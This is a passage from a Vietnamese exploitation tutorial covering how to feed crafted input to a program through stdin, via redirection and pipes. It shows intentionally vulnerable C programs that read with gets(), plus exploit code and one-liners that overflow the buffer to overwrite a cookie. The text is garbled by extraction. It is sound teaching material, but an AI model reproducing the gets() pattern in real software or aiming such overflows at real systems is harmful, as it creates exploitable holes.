Truyền dữ liệu vào chương trình

Một phần của tài liệu Kỹ thuật tấn công lỗi phần mền (Trang 45)

Câu hỏi thứ hai mà người tận dụng lỗi phải trả lời là làm cách nào để truyền dữ liệu vào chương trình. Đôi khi chương trình đọc từ bộ nhập chuẩn, đôi khi từ một tập tin, khi khác lại từ một socket. Chúng ta phải biết chương trình nhận dữ liệu từ đâu để có thể truyền dữ liệu cần thiết vào chương trình thông qua con đường đấy.

Nguồn 3.2 rất gần với ví dụ trước. Điểm khác biệt duy nhất giữa hai chương trình là giá trị so sánh 01020305.

3.3. TRUYỀN DỮ LIỆU VÀO CHƯƠNG TRÌNH

regular@exploitation:~/src$ diff -u stack1.c stack2.c --- stack1.c 2009- 01-18 13:14:00.000000000 +0700

+++ stack2.c 2009-01-18 13:14:00.000000000 +0700 @@ -6,7 +6,7 @@ char buf[16]; printf("&buf: %p, &cookie: %p\n", buf,

&cookie); gets(buf); - if (cookie == 0x41424344) + if (cookie == 0x01020305)

{ printf("You win!\n"); }

Bạn đọc dễ dàng nhận ra dữ liệu để tận dụng lỗi bao gồm 10 ký tự bất kỳ để lấp đầy biến buf và 4 ký tự có mã ASCII lần lượt là 5, 3, 2 và 1. Tuy nhiên, các ký tự này là những ký tự không in được, không có trên bàn phím nên cách nhập dữ liệu từ bán phím sẽ không dùng được.

Vì chương trình đọc từ bộ nhập chuẩn nên chúng ta có thể dùng những cách sau để truyền dữ liệu qua bộ nhập chuẩn:

Chuyển hướng (redirection) Bộ nhập chuẩn có thể được chuyển hướng từ bàn phím qua một tập tin thông qua ký tự < như trong câu lệnh ./stack1 < input. Khi thực hiện câu lệnh này, nội dung của tập tin input sẽ được dùng thay cho bộ nhập chuẩn. Mọi tác vụ đọc từ bộ nhập chuẩn sẽ đọc từ tập tin này.

Ống (pipe) là một cách trao đổi thông tin liên tiến trình (interprocess communication, IPC) trong đó một chương trình gửi dữ liệu cho một chương trình khác. Bộ nhập chuẩn có thể được chuyển hướng để trở thành đầu nhận của ống như trong câu lệnh ./sender | ./receiver. Chương trình phía trước ký tự | (giữ ⇑ Shift và nhấn '

&

$

%

Dừng đọc và suy nghĩ

Nếu chương trình đọc từ bộ nhập chuẩn, thì có bao nhiêu cách để truyền dữ liệu tới chương trình?

1 #include <stdio .h> 2

3 int 4 { 5

\ ) là chương trình gửi dữ liệu, bộ xuất chuẩn của chương trình này sẽ gửi dữ liệu vào ống thay vì gửi ra màn hình; chương trình phía sau ký tự | là chương trình nhận dữ liệu, bộ nhập chuẩn của chương trình này sẽ đọc dữ liệu từ ống thay vì bàn phím.

Với hai cách trên, một ký tự bất kỳ có thể được truyền vào chương trình thông qua bộ nhập chuẩn. Ví dụ để tận dụng lỗi ở Nguồn 3.2 với cách đầu tiên, chúng ta sẽ tạo một tập tin chứa dữ liệu nhập thông qua Nguồn 3.3. Sau đó chúng ta gọi chương trình bị lỗi và chuyển hướng bộ nhập chuẩn của nó qua tập tin đã được tạo.

main( int argc , char ∗∗argv )

char s [ ] = "aaaaaaaaaaaaaaaa\x05\x03\x02\x01" ; 6 FILE ∗ f = fopen ( argv [1] , "wb" );

7 fwrite (s , 1 , sizeof ( s ) , f ); 8 fclose ( f );

9 return 0;

10 }

Nguồn 3.3: exp2.c

regular@exploitation:~/src$ gcc -o exp2 exp2.c regular@exploitation:~/src$ ./exp2 redirect regular@exploitation:~/src$ ./stack2 < redirect &buf: 0xbffffa44, &cookie: 0xbffffa54 You win!

regular@exploitation:~/src$

Nếu sử dụng cách thứ hai, việc tận dụng lỗi sẽ đơn giản hơn vì chúng ta có thể dùng các lệnh có sẵn như echo để truyền các ký tự đặc biệt qua ống.

regular@exploitation:~/src$ echo -e "aaaaaaaaaaaaaaaa\005\003\002\001" | ./stack 2 &buf: 0xbffffa44, &cookie: 0xbffffa54 You win!

regular@exploitation:~/src$

Thậm chí chúng ta còn có thể sử dụng (và bạn đọc được khuyến khích sử dụng) các ngôn ngữ kịch bản để đơn giản hóa công việc này. Đọc giả có thể sử dụng bất kỳ

với ngôn ngữ Python2.

regular@exploitation:~/src$ python -c ’print "a"*16 + "\x05\x03\x02\x01"’ | ./st ack2 &buf: 0xbffffa44, &cookie: 0xbffffa54 You win!

regular@exploitation:~/src$

Chúng ta kết thúc ví dụ thứ hai tại đây với những điểm đáng lưu ý sau:

• Cách truyền dữ liệu vào chương trình cũng quan trọng như chính bản thân dữ liệu đó.

• Sự hiểu biết và thói quen sử dụng một ngôn ngữ kịch bản sẽ tiết kiệm được nhiều thời gian và công sức trong quá trình tận dụng lỗi.

2 http://www.python.org

1 #include <stdio .h> 2 3 int 4 { 5 1 #include <stdio .h> 2 3 int main() 4 { 5 int cookie ; 6 char buf [1 6];

7 printf ("&buf : ␣%p, ␣&cookie : ␣%p\n" , buf , &cookie );

8 gets ( buf );

9 if ( cookie == 0x00020300)

10 {

11 printf ("You␣win !\n" );

12 } 13 } Nguồn 3.4: stack3.c ' & $ % Dừng đọc và suy nghĩ

ta đã bàn qua trong chương này, đọc giả có thể tận dụng Với những gì chúng

được lỗi của Nguồn 3.4 không?

3.4 Thay đổi luồng thực thi

Một phần của tài liệu Kỹ thuật tấn công lỗi phần mền (Trang 45)